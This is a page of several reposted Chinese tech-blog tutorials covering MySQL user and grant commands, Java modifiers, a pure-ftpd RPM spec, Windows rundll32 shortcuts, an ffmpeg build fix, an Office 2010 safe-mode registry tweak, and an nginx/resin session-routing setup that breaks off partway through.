
暂无个人介绍
1.[root@localhost ~]# yum -y install mysql mysql-server //利用yum在线安装mysql数据库 2.[root@localhost ~]# chkconfig mysqld on //设置开机启动mysqld服务 3.[root@localhost ~]# service mysqld start //启动mysqld服务 4.[root@localhost ~]# mysqladmin -uroot password 123456 //设置mysql密码为123456 5.[root@localhost ~]# mysql -uroot -p123456 //进入mysql数据库最后别带p123456,如果别人利用history就知道密码是什么,最好直接p不回显输入密码安全,为了方便请输入history -c参数清理掉history记录。 Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2 Server version: 5.0.95 Source distribution Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> help //学会看help呵呵 For information about MySQL products and services, visit: http://www.mysql.com/ For developer information, including the MySQL Reference Manual, visit: http://dev.mysql.com/ To buy MySQL Enterprise support, training, or other products, visit: https://shop.mysql.com/ List of all MySQL commands: Note that all text commands must be first on line and end with ';' ? (\?) Synonym for `help'. clear (\c) Clear the current input statement. connect (\r) Reconnect to the server. Optional arguments are db and host. delimiter (\d) Set statement delimiter. edit (\e) Edit command with $EDITOR. ego (\G) Send command to mysql server, display result vertically. exit (\q) Exit mysql. Same as quit. go (\g) Send command to mysql server. help (\h) Display this help. nopager (\n) Disable pager, print to stdout. notee (\t) Don't write into outfile. pager (\P) Set PAGER [to_pager]. Print the query results via PAGER. print (\p) Print current command. prompt (\R) Change your mysql prompt. quit (\q) Quit mysql. rehash (\#) Rebuild completion hash. source (\.) Execute an SQL script file. Takes a file name as an argument. status (\s) Get status information from the server. system (\!) Execute a system shell command. tee (\T) Set outfile [to_outfile]. Append everything into given outfile. use (\u) Use another database. Takes database name as argument. charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. warnings (\W) Show warnings after every statement. nowarning (\w) Don't show warnings after every statement. For server side help, type 'help contents' 6.mysql> status //查看mysql连接状态和其它参数。 -------------- mysql Ver 14.12 Distrib 5.0.95, for redhat-linux-gnu (i686) using readline 5.1 Connection id: 11 Current database: Current user: root@localhost SSL: Not in use Current pager: stdout Using outfile: '' Using delimiter: ; Server version: 5.0.95 Source distribution Protocol version: 10 Connection: Localhost via UNIX socket Server characterset: latin1 Db characterset: latin1 Client characterset: latin1 Conn. characterset: latin1 UNIX socket: /var/lib/mysql/mysql.sock Uptime: 10 min 55 sec Threads: 1 Questions: 26 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.040 7.mysql> show databases; //查看数据库默认有3个数据库 +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | test | +--------------------+ 3 rows in set (0.03 sec) 8.mysql> create database zh888; //创建zh888数据库 Query OK, 1 row affected (0.00 sec) mysql> show databases;//在次查看数据库多出一个zh888的数据库 +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | test | | zh888 | +--------------------+ 4 rows in set (0.00 sec) 9.mysql> use zh888; //进入zh888数据库 Database changed mysql> show tables; //查看zh888中没有表 Empty set (0.00 sec) 10.mysql> create table zh888table (name varchar(20),sex char(1)); Query OK, 0 rows affected (0.00 sec) //创建zh888table表 11.mysql> show tables; //查看zh888数据的表为zh888table +-----------------+ | Tables_in_zh888 | +-----------------+ | zh888table | +-----------------+ 1 row in set (0.00 sec) 12.mysql> desc zh888table; //查看zh888table表的结构 +-------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+-------------+------+-----+---------+-------+ | name | varchar(20) | YES | | NULL | | | sex | char(1) | YES | | NULL | | +-------+-------------+------+-----+---------+-------+ 2 rows in set (0.00 sec) 13.mysql> insert into zh888table values("zh","b"); //往zh888table表中添加记录 Query OK, 1 row affected (0.00 sec) 14.mysql> select *from zh888table; //查看zh888table表所有数据 +------+------+ | name | sex | +------+------+ | zh | b | +------+------+ 1 row in set (0.00 sec) 15.mysql> update zh888table set name="zhh" where sex="b"; //更新数据 Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 16.mysql> select *from zh888table; //查看zh888table数据 +------+------+ | name | sex | +------+------+ | zhh | b | +------+------+ 1 row in set (0.00 sec) 17.mysql> update zh888table set sex="g" where name="zhh";//更新数据 Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> select *from zh888table;//查看zh888table数据。 +------+------+ | name | sex | +------+------+ | zhh | g | +------+------+ 1 row in set (0.00 sec) 18.mysql> delete from zh888table; //清空zh888table数据 Query OK, 1 row affected (0.00 sec) mysql> select *from zh888table; //查看数据为空 Empty set (0.00 sec) 19.mysql> drop table zh888table; //删除zh888table表 Query OK, 0 rows affected (0.00 sec) 20.mysql> drop database zh888; //删除zh888数据库 Query OK, 0 rows affected (0.04 sec) mysql> use mysql; //进入mysql数据库 Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed 格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"; 21.mysql> insert into mysql.user(host,user,password)values("localhost","zh888",password("123456")); Query OK, 1 row affected, 3 warnings (0.00 sec) //此处的"localhost",是指该用户只能在本地登录,不能在另外一台机器上远程登录。如果想远程登录的话,将"localhost"改为"%",表示在任何一台电脑上都可以登录,也可以指定某台机器可以远程登录。 22.mysql>create database zh888; //创建数据库zh888 23.mysql>grant all privileges on zh888.* to zh888@localhost identified by '123456'; //授权zh888用户拥有zh888数据库所有权限(某个数据库的所有权限) 24.mysql>flush privileges;//刷新系统权限表 授权zh888用户拥有所有数据库的某些权限 25.mysql>grant select,delete,update,create,drop on *.* to zh888@"%" identified by "123456"; //zh888用户对所有数据库都有select,delete,update,create,drop 权限。 @"%" 表示对所有非本地主机授权,不包括localhost。(localhost地址设为127.0.0.1,如果设为真实的本地地址,不知道是否可以,没有验证。)对localhost授权:加上一句grant all privileges on zh888.* to zh888@localhost identified by '123456';即可。 26.部分权限给一个用户 mysql>grant select,update on zh888.* to zh888@localhost identified by '123456'; mysql>flush privileges; //刷新系统权限表 27.删除用户 mysql>Delete FROM user Where User='zh888' and Host='localhost'; mysql>flush privileges; mysql>drop database zh888; //删除用户的数据库 删除账户及权限:drop user 用户名@'%'; drop user 用户名@ localhost; 28.修改指定用户密码 mysql -u root -p mysql>update mysql.user set password=password('新密码') where User="zh888" and Host="localhost"; mysql>flush privileges; 本文转自zh888 51CTO博客,原文链接:http://blog.51cto.com/zh888/943328,如需转载请自行联系原作者
对于初学者,对于这几个经常出现的名字很熟悉,但又感到不完全理解。 下面一一解释: public与private(这两个是针对权限范围的) public xxx(){}是公共的方法,可以被任何一个类调用。 private xxx(){}是私用的方法,也就是只能在本类中被调用,任何其他类都不能调用。 void函数返回值得类型(函数可以返回多种类型值,如int、String、Float等) 比如publicvoid xxx(){} 这个函数执行完成后,什么值也不会返回。 但这个函数可以被其他任何类调用,因为用了public。 注:如果一个函数什么值也不返回,但你命名时没有用void,eclipse会自动提示有错误。 static static是静态函数,用了static就说明这个函数是属于类的,在调用时不需要再创建对象。 如:publicstatic void test(){} 在main方法中调用时就不用通过new来创建对象引用,直接输入test()引用这个函数。 本文转自niedongri 51CTO博客,原文链接:http://blog.51cto.com/laomomo/1948870,如需转载请自行联系原作者
Name: pure-ftpd Version: 1.0.36 Release: 1%{?dist} Summary: Pure-FTPd Group: System Environment/Daemons License: BSD URL: http://www.pureftpd.org Source0: ftp://ftp.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.36.tar.bz2 Source1: http://machiel.generaal.net/files/pureftpd/ftp_v2.1.tar.gz BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX) Vendor: itnihao@qq.com BuildRequires: gcc Requires: shadow-utils %description Pure-FTPd is a free (BSD), secure, production-quality and standard-conformant FTP server. It doesn't provide useless bells and whistles, but focuses on efficiency and ease of use. It provides simple answers to common needs, plus unique useful features for personal users as well as hosting providers. %prep %setup -q %build ./configure --prefix=/usr/local/pureftpd \ --with-mysql \ --with-pam \ --with-shadow \ --with-welcomemsg \ --with-uploadscript \ --with-cookie \ --with-virtualchroot \ --with-virtualhosts \ --with-diraliases \ --with-quotas \ --with-puredb \ --with-sysquotas \ --with-ratios \ --with-ftpwho \ --with-throttling \ --with-language=simplified-chinese make %{?_smp_mflags} %install rm -rf %{buildroot} make install DESTDIR=%{buildroot} %{__install} -d %{buildroot}%{_sysconfdir}/pureftpd %{__install} -d %{_datadir} %{__install} -d %{buildroot}%{_initrddir} #%{__install} -d %{buildroot}%{_sbindir} %{__install} -d %{buildroot}%{_mandir}/man8/ %{__install} -m 755 configuration-file/pure-config.pl %{buildroot}/usr/local/pureftpd/sbin/pure-config.pl %{__install} -m 755 configuration-file/pure-ftpd.conf %{buildroot}%{_sysconfdir}/default.pure-ftpd.conf %{__install} -m 755 configuration-file/pure-ftpd.conf %{buildroot}%{_sysconfdir}/pure-ftpd.conf %{__install} -m 755 pureftpd-mysql.conf %{buildroot}%{_sysconfdir}/default.pureftpd-mysql.conf cat >> %{buildroot}%{_sysconfdir}/pureftpd/pureftpd-mysql.conf << EOF MYSQLSocket /var/lib/mysql/mysql.sock MYSQLServer 127.0.0.1 MYSQLPort 3306 MYSQLUser pureftpuser MYSQLPassword pureftpuser MYSQLDatabase pureftp MYSQLCrypt md5 MYSQLGetPW SELECT Password FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") MYSQLGetUID SELECT Uid FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") MYSQLGetGID SELECT Gid FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") MYSQLGetDir SELECT Dir FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") MySQLGetBandwidthUL SELECT ULBandwidth FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") MySQLGetBandwidthDL SELECT DLBandwidth FROM users WHERE User="\L" AND Status="1" AND (Ipaddress = "*" OR Ipaddress LIKE "\R") EOF %{__install} -m 755 contrib/redhat.init %{buildroot}%{_initrddir}/pureftpd sed -i\ -e "s|usr/local|usr/local/pureftpd|g" \ -e "s|etc/pure-ftpd.conf|etc/pureftpd/pure-ftpd.conf|g" \ %{buildroot}%{_initrddir}/pureftpd sed -i \ -e "s|NoAnonymous no|NoAnonymous yes|g" \ -e "s|# MySQLConfigFile /etc/pureftpd-mysql.conf|MySQLConfigFile /etc/pureftpd/pureftpd-mysql.conf|g" \ -e "s|# Bind 127.0.0.1,21| Bind 127.0.0.1,21|g" \ -e "s|AllowUserFXP no|AllowUserFXP yes|g" \ -e "s|AnonymousCantUpload no|AnonymousCantUpload yes|g" \ -e "s|#CreateHomeDir yes|CreateHomeDir yes|g" \ %{buildroot}%{_sysconfdir}/pure-ftpd.conf #cp conf/pureftpd-mysql.conf %{buildroot}%{_sysconfdir}/pureftpd #cp conf/pure-ftpd.conf %{buildroot}%{_sysconfdir}/pureftpd install -m 0644 -p man/pure-authd.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-authd.8 install -m 0644 -p man/pure-ftpd.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-ftpd.8 install -m 0644 -p man/pure-ftpwho.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-ftpwho.8 install -m 0644 -p man/pure-mrtginfo.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-mrtginfo.8 install -m 0644 -p man/pure-pw.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-pw.8 install -m 0644 -p man/pure-pwconvert.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-pwconvert.8 install -m 0644 -p man/pure-quotacheck.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-quotacheck.8 install -m 0644 -p man/pure-statsdecode.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-statsdecode.8 install -m 0644 -p man/pure-uploadscript.8 $RPM_BUILD_ROOT%{_mandir}/man8/pure-uploadscript.8 %{__tar} xf %{SOURCE1} -C $RPM_BUILD_ROOT/%{_datadir} %clean rm -rf %{buildroot} %files %defattr(-,root,root,-) %doc /usr/local/pureftpd/bin/pure-pw /usr/local/pureftpd/bin/pure-pwconvert /usr/local/pureftpd/bin/pure-statsdecode /usr/local/pureftpd/sbin/pure-authd /usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/sbin/pure-ftpd /usr/local/pureftpd/sbin/pure-ftpwho /usr/local/pureftpd/sbin/pure-mrtginfo /usr/local/pureftpd/sbin/pure-quotacheck /usr/local/pureftpd/sbin/pure-uploadscript %{_initrddir}/pureftpd %{_sysconfdir}/pureftpd/* %{_mandir}/man8/pure* %{_datadir}/ftp %post getent group pureftpuser >/dev/null || groupadd -r pureftpuser getent passwd pureftpuser >/dev/null || useradd -r -g pureftpuser -s /sbin/nologin -c "pureftp user" pureftpuser sed -i \ -e "s|DBLogin = "ftp";|DBLogin = "pureftpuser";|g" \ -e "s|DBPassword = "tmppasswd";|DBPassword = "pureftpuser";|g" \ -e "s|FTPAddress = "myipaddress.com:21";|FTPAddress = "127.0.0.1:21";|g" \ -e "s|DBDatabase = "ftpusers"|DBDatabase = "pureftp"|g" \ -e "s|DEFUserID = "65534"|DEFUserID = "$ftpuid"|g" \ -e "s|DEFGroupID = "31"|DEFGroupID = "$ftpgid"|g" /usr/share/ftp/config.php /sbin/chkconfig pureftpd on cat <<EOF create pureftp database like this: ==================================================================================== mysql>create database pureftp; mysql>grant all on pureftp.* to pureftpuser@'127.0.0.1' identified by 'pureftpuser'; mysql>grant privileges; ==================================================================================== if you want to use pdb to store password : you should change /etc/pureftpd/pure-ftpd.conf sed -i "s|MySQLConfigFile /etc/pureftpd-mysql.conf|# MySQLConfigFile /etc/pureftpd/pureftpd-mysql.conf|g" /etc/pureftpd/pure-ftpd.conf sed -i "s|# PureDB /etc/pureftpd.pdb|PureDB /etc/pureftpd/pureftpd.pdb|g" /etc/pureftpd/pure-ftpd.conf #adduser /usr/local/pureftpd/bin/pure-pw useradd virtualftp -f /usr/local/pureftpd/etc/pureftpd.passwd -u 500 -g 500 -d /ftproot #make it into effect /usr/local/pureftpd/bin/pure-pw mkdb /usr/local/pureftpd/etc/pureftpd.pdb -f /usr/local/pureftpd/etc/pureftpd.passwd #modify user password /usr/local/pureftpd/bin/pure-pw passwd virtualftp -f /usr/local/pureftpd/etc/pureftpd.passwd -m EOF %changelog 本文转自it你好 51CTO博客,原文链接:http://blog.51cto.com/itnihao/1148570,如需转载请自行联系原作者
1.命令: rundll32.exe shell32.dll,Control_RunDLL 功能: 显示控制面板 2.命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1 功能: 显示“控制面板->辅助选项->键盘”选项视窗 3.命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2 功能: 显示“控制面板->辅助选项->声音”选项视窗 4.命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3 功能: 显示“控制面板->辅助选项->显示”选项视窗 5.命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4 功能: 显示“控制面板->辅助选项->鼠标”选项视窗 6.命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5 功能: 显示“控制面板->辅助选项->常规”选项视窗 7.命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1 功能: 执行“控制面板->添加新硬件”向导。 8.命令: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter 功能: 执行“控制面板->添加新打印机”向导。 9.命令: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1 功能: 显示 “控制面板->添加/删除程序->安装/卸载” 面板。 10.命令: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2 功能: 显示 “控制面板->添加/删除程序->安装Windows” 面板。 11.命令: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3 功能: 显示 “控制面板->添加/删除程序->启动盘” 面板。 12.命令: rundll32.exe syncui.dll,Briefcase_Create 功能: 在桌面上建立一个新的“我的公文包”。 13.命令: rundll32.exe diskcopy.dll,DiskCopyRunDll 功能: 显示复制软盘视窗 14.命令: rundll32.exe apwiz.cpl,NewLinkHere %1 功能: 显示“建立快捷方式”的对话框,所建立的快捷方式的位置由%1参数决定。 15.命令: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0 功能: 显示“日期与时间”选项视窗。 16.命令: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1 功能: 显示“时区”选项视窗。 17.命令: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称] 功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。 18.命令: rundll32.exe rnaui.dll,RnaWizard 功能: 显示“新建拨号连接”向导的视窗。 19.命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0 功能: 显示“显示属性->背景”选项视窗。 20.命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1 功能: 显示“显示属性->屏幕保护”选项视窗。 21.命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2 功能: 显示“显示属性->外观”选项视窗。 22.命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3 功能: 显示显示“显示属性->属性”选项视窗。 23.命令: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder 功能: 显示Windows的“字体”文件夹。 24.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 功能: 同样是显示Windows的“字体”文件夹。 25.命令: rundll32.exe shell32.dll,SHformatDrive 功能: 显示格式化软盘的对话框。 26.命令: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0 功能: 显示“控制面板->游戏控制器->常规”选项视窗。 27.命令: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1 功能: 显示“控制面板->游戏控制器->高级”选项视窗。 28.命令: rundll32.exe mshtml.dll,PrintHTML (HTML文档) 功能: 打印HTML文档。 29.命令: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl 功能: 显示Microsoft Exchange常规选项视窗。 30.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0 功能: 显示“控制面板->鼠标” 选项 。 31.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1 功能: 显示 “控制面板->键盘属性->速度”选项视窗。 32.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1 功能: 显示 “控制面板->键盘属性->语言”选项视窗。 33.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2 功能: 显示Windows“打印机”文件夹。 34.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 功能: 显示Windows“字体”文件夹。 35.命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4 功能: 显示“控制面板->输入法属性->输入法”选项视窗。 36.命令: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add 功能: 执行“添加新调制解调器”向导。 37.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0 功能: 显示“控制面板->多媒体属性->音频”属性页。 38.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1 功能: 显示“控制面板->多媒体属性->视频”属性页。 39.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2 功能: 显示“控制面板->多媒体属性->MIDI”属性页。 40.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3 功能: 显示“控制面板->多媒体属性->CD音乐”属性页。 41.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4 功能: 显示“控制面板->多媒体属性->设备”属性页。 42.命令: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1 功能: 显示“控制面板->声音”选项视窗。 43.命令: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl 功能: 显示“控制面板->网络”选项视窗。 44.命令: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl 功能: 显示ODBC32资料管理选项视窗。 45.命令: rundll32.exe shell32.dll,OpenAs_RunDLL {drive:\path\filename} 功能: 显示指定文件(drive:\path\filename)的“打开方式”对话框。 46.命令: rundll32.exe shell32.dll,Control_RunDLL password.cpl 功能: 显示“控制面板->密码”选项视窗。 47.命令: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl 功能: 显示“控制面板->电源管理属性”选项视窗。 48.命令: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder 功能: 显示Windows“打印机”文件夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2) 49.命令: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0 功能: 显示“控制面板->区域设置属性->区域设置”选项视窗。 50.命令: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1 功能: 显示“控制面板->区域设置属性->数字”选项视窗。 51.命令: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2 功能: 显示“控制面板->区域设置属性->货币”选项视窗。 52.命令: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3 功能: 显示“控制面板->区域设置属性->时间”选项视窗。 53.命令: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4 功能: 显示“控制面板->区域设置属性->日期”选项视窗。 54.命令: rundll32.exe desk.cpl,InstallScreenSaver [屏幕保护档案名] 功能: 将指定的屏幕保护文件设置为Windows的屏保,并显示屏幕保护属性视窗。 55.命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0 功能: 显示“控制面板->系统属性->传统”属性视窗。 56.命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1 功能: 显示“控制面板->系统属性->设备管理器”属性视窗。 57.命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2 功能: 显示“控制面板->系统属性->硬件配置文件”属性视窗。 58.命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3 功能: 显示“控制面板->系统属性->性能”属性视窗。 59.命令: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。 60.命令: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机。 61.命令: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl 功能: 显示“拨号属性”选项视窗。。 62.命令: rundll32.exe shell32.dll,Control_RunDLL themes.cpl 功能: 显示“桌面主题”选项面板。 本文转自sucre03 51CTO博客,原文链接:http://blog.51cto.com/sucre/394662,如需转载请自行联系原作者
今天编译ffmepg 报错,找了半天原因,后来发现只有在 64 位系统是才会报这种错误! 错误如下: /usr/lib64/gcc/x86_64-linux/4.2.0/../../../../x86_64-linux/bin/ld: /usr/local/libnut.a(z.o): relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC /usr/local/libnut.a: could not read symbols: Bad value collect2: ld returned 1 exit status 在网上搜索的解决办法如下: You will get these messages on x86_64 any place that libtool tries to use a static (.a) library in a .la, and as it says, it can't link. These "recompile with -fPIC" messages fall into three types - 1.recompile the current package with -fPIC 2.fix a broken symlink (I had a dangling symlink for ncurses in my scripts, because of a typo - on x86 libtool couldn't find the .so but took the .a and ran with it, on x86_64 it barfed) 3.convert a Makefile to use .la instead of .a (very uncommon) 但是我使用 第二中方法还是不行,所以我就用第一种方法.重新编译了一下 libnut shell $> cd libnut shell $> vim config.mak PREFIX = /usr/local prefix = $(DESTDIR)$(PREFIX) #CFLAGS += -DDEBUG CFLAGS += -Os -fomit-frame-pointer -g -Wall -fPIC ###加入 -fPIC 参数 CFLAGS += -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 CC = cc RANLIB = ranlib AR = ar shell $>make libnut shell $> make prefix=/usr install-libnut 再编译ffmpeg shell $> cd ffmpeg shell $> ./configure --prefix=/usr --enable-gpl --enable-nonfree --enable-pthreads --disable-ipv6 --enable-small --enable-bzlib --enable-libamr-nb --enable-libamr-wb --enable-libdc1394 --enable-libdirac --enable-libfaac --enable-libfaad --enable-libfaadbin --enable-libgsm --enable-libmp3lame --enable-libnut --enable-libopenjpeg --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-libx264 --enable-libxvid --enable-zlib --disable-debug --enable-shared shell $> make shell $> make install OK 问题解决~~ 本文转自Deidara 51CTO博客,原文链接:http://blog.51cto.com/deidara/154166,如需转载请自行联系原作者
最近显卡硬件上有问题,总引起显卡驱动崩溃,然后系统蓝屏。没办法,要用 Word 写东西只好在安全模式下写了,这样避免加载显卡驱动,系统不会崩溃,至少可以让我先把工作做完。但是这时候发现一个新的问题:Word 2010 在安全模式下不能运行,出现以下提示: 单击确定之后,Word 就退出了。与此同时,其他 Office 2010 Beta 的程序也都是这样,难道在安全模式下就连最基本的文字处理也干不了?这不是故意要为难我吗? 眼看着工作就做不了了,看来wbpluto得赶紧把问题解决掉! 根据上面的错误窗口可以得知,这个问题与 Office 的激活验证有关。Office 2010 虽然继承了 Office 2007 的大部分架构和界面,但仍然具有很多新的改进和调整。例如激活机制就进行了很大的改变,例如·将完全免激活的VLK政策调整为企业内联网KMS激活,并且还在系统服务中增加了一个“Office 软件保护平台“(SPP)服务,用来管理 Office 2010 的激活: 运行 services.msc,打开系统的“服务“管理控制台,可以看到该服务没有运行。试图手动启动它,结果提示这个服务不能在安全模式下启动: 这个服务无法启动,Office 程序就无法获取到自己的激活状态,作为防止盗版的一项设计,也就不允许用户运行了。看来,这就应该是问题的原因所在。 这里首先介绍一下“安全模式“的知识:Windows 的安全模式是在系统遇到问题时,为了排除外围软件和服务对Windows 的有害影响而设计的一种只启动Windows基本服务和驱动程序,而不启动外围服务和其他驱动程序的运行模式(除了Windows 之外,其他操作系统也都有类似的设计)。比如文章最开始提到的情况,我安装的显卡驱动会崩溃,如果我让 Windows 进入“安全模式“,则不会加载我安装的显卡驱动,只运行系统内置的标准的VGA显卡驱动,这样就不会因为显卡驱动而导致系统出问题,但与此同时也就不能使用显卡的高级功能了。 Office 2010 不能启动,也就是因为SPP服务不属于核心的系统服务,在安全模式下默认不加载。那究竟哪些服务会在安全模式下加载呢?这个名单就保存在注册表中,我们可以通过修改这个列表,让我们需要的服务启动起来: 运行regedit打开注册表编辑器,浏览到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal 这个位置,这下面列出的就是安全模式下可以加载的所有服务和驱动程序了。右键单击Minimal新建一个注册表项,名称改为SPP服务的名称“osppsvc”(见第二幅图中的“服务名称“),再在右边窗格中把这个项的默认值改为“Service”。 OK,现在再运行Word 2010,果然顺利启动了! 当然,大家也可以依葫芦画瓢,在实在需要时,让安全模式能启动一些本不能启动的服务。对了,Windows 还有一个“网络安全模式“,如果希望在这个模式下启动某个服务,则需要在 SafeBoot\Network这个位置添加服务名称,而不是 Minimal。 Office 2010 正式版马上就要来到了,希望微软在最后能够进行一些设计上的调整,避免本文所述的问题发生,因为进入安全模式排查问题时,有时还是需要打开一些 Office 文档,例如查阅技术资料存档等等。 本文转自wbpluto 51CTO博客,原文链接:http://blog.51cto.com/wbpluto/476729,如需转载请自行联系原作者
前几天看到 http://code.google.com 有个 nginx_upstream_jvm_route 项目,看完介绍后,很兴奋,因为是个中国人写的补丁,解决 session 不同步问题,不过他不是共享,也不是同步,而是通过 cookie_session 来判别!通过与作者的email 通信,对这次测试有了很大的帮助,因为我第一次搞 jsp 的东西,再这里感谢 Weibin Yao 还有 Cluster服务技术群2 的张涛大哥! 测试环境: server1 服务器上安装了 nginx + resin server2 服务器上只安装了 resin server1 IP 地址: 192.168.6.121 server2 IP 地址: 192.168.6.162 安装步骤: 1. 在server1 上安装配置 nginx + nginx_upstream_jvm_route shell $> wget -c http://sysoev.ru/nginx/nginx-0.7.61.tar.gz shell $> svn checkout http://nginx-upstream-jvm-route.googlecode.com/svn/trunk/ nginx-upstream-jvm-route-read-only shell $> tar zxvf nginx-0.7.61 shell $> cd nginx-0.7.61 shell $> patch -p0 < ../nginx-upstream-jvm-route-read-only/jvm_route.patch shell $> useradd www shell $> ./configure --user=www --group=www --prefix=/usr/local/webserver/nginx --with-http_stub_status_module --with-http_ssl_module --add-module=/root/nginx-upstream-jvm-route-read-only shell $> make shell $> make install 2.分别在两台机器上 安装 resin ### 修改环境变量### shell $> vim /etc/profile ###在 umask 022 下填加以下### JAVA_HOME=/usr/lib/jvm/java-6-sun export JAVA_HOME JRE_HOME="${JAVA_HOME}"/jre export JRE_HOME CLASSPATH=.:"${JAVA_HOME}"/lib/tools.jar:"${JAVA_HOME}"/lib/dt.jar${RESIN_HOME}"/lib/resin.jar:"${CLASSPATH} export CLASSPATH RESIN_HOME=/usr/local/resin export RESIN_HOME PATH="${JAVA_HOME}"/bin:"${PATH}" export PATH shell $> wget -c http://www.caucho.com/download/resin-3.1.9.tar.gz shell $> tar zxvf resin-3.1.9.tar.gz shell $> cd resin-3.1.9 shell $> ./configure --prefix=/usr/local/resin shell $> make shell $> make install 3. 配置两台机器 的 resin shell $> cd /usr/local/resin shell $> cd conf shell $> vim resin.conf ## 查找 <http address="*" port="8080"/> ## 注释掉 <!--http address="*" port="8080"/--> ## 查找 <server id="" address="127.0.0.1" port="6800"> ## 替换成 <server id="a" address="192.168.6.121" port="6800"> <!-- server2 address=192.168.6.162 --> <http id="" port="8080"/> </server> <server id="b" address="192.168.6.121" port="6801"> <!-- server2 address=192.168.6.162 --> <http id="" port="8081"/> </server>shell $> cd /usr/local/resin/webapps/ROOT/ shell $> mv index.jsp index.jsp.bak shell $> vim index.jsp ## 填入以下内容 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% %> <html> <head> </head> <body> 121 <!--server2 这里为 162 --> <br /> <%out.print(request.getSession()) ;%> <!--输出session--> <br /> <%out.println(request.getHeader("Cookie")); %> 